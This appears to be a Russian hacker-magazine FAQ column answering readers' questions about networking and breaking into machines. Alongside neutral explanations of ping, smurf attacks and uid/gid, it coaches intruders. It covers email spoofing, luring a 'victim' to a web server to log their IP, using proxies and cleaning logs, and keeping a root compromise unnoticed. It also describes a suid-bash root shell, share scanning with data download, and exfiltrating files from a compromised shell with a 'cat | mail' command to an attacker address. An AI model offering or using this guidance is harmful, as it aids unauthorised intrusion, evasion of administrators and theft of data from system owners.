Архив статей

Все статьи из текущего раздела

Hack FAQ

Задавая вопросы, конкретизируй их. Давай больше данных о системе, описывай абсолютно все, что ты знаешь о ней. Это мне поможет ответить на твои вопросы и указать твои ошибки. И не стоит задавать вопросов вроде "Как сломать www-сервер?" или вообще просить у меня "халявного" Internet`а. Я все равно не дам, я жадный :).


Q: В одном из номеров X прочитал про утилиту ping, но не понял, зачем она нужна и что делает. Объясните, пожалуйста :).

A: Утилита ping посылает запрос ICMP ECHO_REQUEST на некоторый хост. Если точнее, основной задачей утилиты ping является выяснение состояния некоторого хоста в сети. Если хост принимает ECHO_REQUEST, то в ответ он посылает ECHO_REPLY. Утилита ping получает этот ответ и генерирует статистику. Это и есть ОСНОВНОЕ предназначение ping.

Q: Что такое smurf-атаки?

A: smurf - это одна из разновидностей DoS (Denial of Service) атак. Дело в том, что существуют так называемые broadcast адреса. И при некорректной конфигурации пакет, пришедший на этот адрес, разошлется всем машинам в подсети. Таким образом, каждая машина отправит свой ответ на запрос. А теперь представь, если кто-то подменит свой обратный адрес, и все пакеты (а их могут послать сотни компьютеров) вернутся на одну машину со слабым каналом. Тачка просто лишится доступа к Сети.

Q: Мне друг пишет письма с адреса gates@microsoft.com, как он это делает? И как мне послать ему письмо с root@freebsd.org?

A: Для начала рассмотрим, как происходит отправка письма, а именно, что шлет твой мейлер серверу. Итак, подключившись к серверу на 25 (smtp) порт, мейлер посылает "HELLO my.domainname.com", где my.domain.name - твое доменное имя. Далее начинается отсылка письма "MAIL FROM: hax0r@domain.ru" - этой командой мейлер сообщает серверу, что автором письма является hax0r@domain.ru. Потом указывается получатель - "RCPT TO: lamer@lamehost.gov.ru". Теперь отсылается тело письма: мейлер шлет команду - "DATA", а потом само письмо. Завершается посылка письма символом ".". Вот и все. А теперь о менее приятном. Многие сервера просто не дадут тебе отправить почту таким образом, они потребуют авторизации. А найти Open Relay сервера не так легко. Самый простой выход - поставить свой собственный сервер и слать почту через него. И тогда указывай любой мыльник, хоть god@olimpus.org :).

Q: А что за опция -f у nmapа? Зачем может понадобиться фрагментация пакетов?

A: Ты сам частично ответил на вопрос. Опция -f заставляет nmap фрагментировать посылаемые пакеты. Это может помочь при сканировании какого-либо хоста за фаерволом. Просто некоторые фаерволы могут пропускать фрагментированные пакеты.

Q: Как можно узнать ИП человека, если я о нем вообще ничего не знаю (телефон, e-mail и т.д.)?

A: Никак. Пока человек не воспользуется каким-либо сервисом, его IP известен только ему и провайдеру, услугами которого он пользуется. И телефон человека тебе тоже не поможет. А самый простой способ узнать IP - поднять на своей тачке апач или какой-нибудь другой http-сервер. Далее ты просто попросишь жертву зайти на твой сайт. Если он зайдет, то, соответственно, засветит свой IP. Тебе останется просто просмотреть логи.

Q: Если я ломаю ночью, это безопаснее?

A: Понятие безопасности при взломе крайне субъективно. Конечно, элементарными средствами, такими как прокси-сервер, пренебрегать не следует. Дело в том, что администратор вряд ли будет сидеть и давить who в консоли весь день, в надежде заметить, как ты бродишь по его машине. А вероятность попасть в логи одинакова как днем, так и ночью. Также необходимо учитывать разницу во времени... Если у нас глубокая ночь, то в некоторых странах может быть день. Поэтому лучше лишний раз проверить чистоту своих логов, чем ждать часа "X", когда все логи заснут :).

Q: Недавно на одном сервере раздавали шеллы. Я себе взял один. Захожу, вроде все нормально. Повесил john`а, еще хотел сканер повесить, а система ругнулась: "unable to fork". Что это значит?

A: Обычно на шеллах, на платных и бесплатных, есть ограничение на количество запущенных процессов. Очень вероятно, что на твоем хостинге стоит ограничение в один фоновый процесс.

Q: А какие есть программы для bruteforce`а паролей? И чем они отличаются?

A: Вообще программ для bruteforce`а – бесчисленное множество. John, наверное, самый популярный из них. Его версия существует под никсы и винды. Он умеет перебирать разными способами: по словарю или просто перебором. l0phtcrack - виндовая программа, умеет вскрывать NT`шные пароли. Cain & Abel, тоже виндовая, умеет снифать пароли из сетки, перебирает по словарю и брутфорсом. А вообще существует огромное количество bruteforce`ов. Основным параметром при выборе является скорость перебора паролей. Поэтому, прежде чем выбрать самый фичастый, подумай, а не практичнее будет взять что-нибудь попроще и побыстрее.

Q: Есть ли аналог xSharez под Linux/BSD? И вообще, каким софтом сканят шары из-под этих систем?

A: В свое время существовал проект - pandora. Это был очень неплохой сканер. Создавался он под две оси: windows и linux. А если во фрюхе поставить линуксовые модули, то и в ней заработает. Также существуют еще две очень неплохие утилиты: nbaudit и nbtscan. Первая запрашивает доступные шары с компа, пытается подобрать пароли и проверяет доступность шаров на чтение/запись. Вторая утилита позволяет выяснять Netbios-имена машин. А используя две утилиты, bash и smbclient, можно написать скрипт, который будет сканировать диапазон IP, находить в нем шары и при помощи smbclient скачивать инфу на локальную машину.

Q: Похакал я одну тачку, работающую под FreeBSD. Сменил рутовский пароль, но при попытке зайти через telnet ничего не вышло... Что же я неправильно сделал?

A: Самая главная ошибка - смена пароля руту. Этого делать было не надо. И теперь взлом заметят точно. Рут просто не сможет войти под своим паролем. Что же касается входа через telnet, то вполне вероятно, что виртуальным консолям запрещено работать с пользователями, у которых uid равен 0 (root).

Q: Вот вы все пишите root, super-пользователь, uid, gid. А что все это значит?

A: В многопользовательских системах существует идентификатор пользователя и идентификатор группы. Эти идентификаторы и есть uid (user id) и gid (group id). Права пользователя определяются именно по ним. В UNIX-подобных системах пользователь с uid равным нулю называется super-пользователь, так как для него отсутствуют ограничения в системе. Это и есть всем известный root.

Q: Что такое suid bit и зачем он нужен?

A: Надо отметить, что помимо uid`а и gid`а, существуют euid и egid. Они определяют права, с которыми запущено приложение. При выставлении suid бита, приложение будет запущено с правами владельца файла. Например, если рут сделает программе bash владельца root:wheel, а потом chmod +s bash, то при запуске bash мы получим root шелл. Многим сетевым сервисам необходимо устанавливать suid`ный бит, так как они должны обращаться к портам <1024. Также бывает, что на некоторых разделах диска нельзя создавать suid`ные файлы. Это связано с тем, что данный раздел был смонтирован с опцией nosuid.

Q: У меня проблема. Мне надо с шелла утянуть файл, а там нет никаких сервисов кроме ssh`а. Как мне быть?

A: Помимо стандартных способов, вроде ftp на себя, а потом put, можно попробовать отправить файл по почте. Если это текстовый файл, то вводи такую команду: cat /filename|mail mymail@xakeph0st.xakepd0main.org. Это один из самых простых методов. Можно таким же образом пересылать и бинарные файлы, просто предварительно воспользуйся uuencode. Другой способ - попробовать запустить сервис ftp на порт выше 1024 и пользоваться им.